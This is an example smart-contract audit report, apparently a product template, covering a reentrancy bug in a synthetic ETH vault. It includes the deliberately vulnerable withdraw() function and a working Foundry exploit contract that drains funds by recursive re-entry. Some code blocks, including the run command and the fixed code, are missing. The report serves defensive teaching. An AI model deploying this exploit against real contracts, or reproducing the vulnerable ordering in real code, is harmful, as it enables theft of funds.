EXAMPLE — Reentrancy in a Vault Contract¶
Example report
This is an illustrative report showing the format Trilocore reports use. It targets a synthetic vault contract — no live protocol is being described, and no client engagement is being represented. Real reports replace this banner with a disclosure status (e.g. Patched 2026-07-01 or Coordinated disclosure pending).
Severity:
critical· Target:0x0000…0000· Verdict:REPRODUCED· Value moved:0x6F05B59D3B20000wei (≈0.5 ETH) · Date: 2026-06-28
Summary¶
The vault's withdraw() function transfers ETH to the caller before zeroing their
internal balance. Any caller whose receiving address is a contract can re-enter
withdraw() from its fallback and empty the vault one deposit at a time. The finding
needs no privileges and a single transaction, and was confirmed by replaying the
constructed transaction against a forked mainnet snapshot.
Vulnerability¶
The vault's checks-effects-interactions ordering is wrong:
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "insufficient");
(bool ok, ) = msg.sender.call{value: amount}(""); // ← external call FIRST
require(ok, "send failed");
balances[msg.sender] -= amount; // ← state update AFTER
}
The external call returns control to msg.sender's fallback before
balances[msg.sender] is decremented. A contract caller can re-enter withdraw(amount)
from its receive() and the require(balances[...] >= amount) check still passes —
because the state has not been written yet.
How it was reproduced¶
The session ran in the Auditing IDE against a mainnet fork of the target.
- Locate. The Passive sweep over the deployed bytecode flags a
CALLopcode followed by a laterSSTOREon the same storage slot — the reentrancy shape — insidewithdraw(uint256). - Reach. Decoder resolves the selector
0x2e1a7d4d, and Dataflow traces the balance check to thebalancesmapping at storage slot0x1. Storage confirms the slot's value for the caller before and after each step. - Reproduce. Composer deploys an untrusted receiver contract whose
receive()re-callswithdraw(amount)whilebalances[receiver] >= amount, then sends the deposit and the first withdrawal as one stateful run. Recursion depth is bounded by gas — about 8 nested calls in the proof of concept below. - Verify. The fork is snapshotted before the run and restored after it, so the
measurement is repeatable: the caller's balance delta after replay is
0x6F05B59D3B20000wei. Verdict:REPRODUCED.
Reproduction¶
A minimal Foundry proof of concept reproduces the finding on a forked mainnet snapshot:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
interface IVault {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
contract ReentrantReceiver {
IVault public immutable vault;
uint256 public amount;
constructor(IVault _vault) payable { vault = _vault; }
function run(uint256 _amount) external {
amount = _amount;
vault.deposit{value: _amount}();
vault.withdraw(_amount);
}
receive() external payable {
if (address(vault).balance >= amount) {
vault.withdraw(amount);
}
}
}
Run it with:
The test asserts that the calling contract's post-balance exceeds its seed deposit by at least the reported value.
Impact¶
- Affected funds: the full ETH balance held by the vault at the time of the run (in the
synthetic target above, capped only by
block.gaslimiton recursion depth). - Privilege required: none — any address able to deposit can reproduce it.
- Detectability: a single transaction with an unusual recursion pattern. Easy to flag after the fact, hard to stop without an on-chain pause plus monitoring.
Mitigation¶
Two independent fixes; do both:
-
Checks-Effects-Interactions ordering. Move the state update above the external
call: -
Reentrancy guard. Wrap
withdraw()in OpenZeppelin'snonReentrantmodifier as defence in depth, in case a future maintainer reintroduces an interleaved external call.
After applying both, replay this report's proof of concept against a fork of the patched
contract. The run should end with verdict NOT REPRODUCED and a zero balance delta.
Reproduced in the Trilocore Auditing IDE against a mainnet fork session. See the Audit reports index for what a report contains and how one gets here.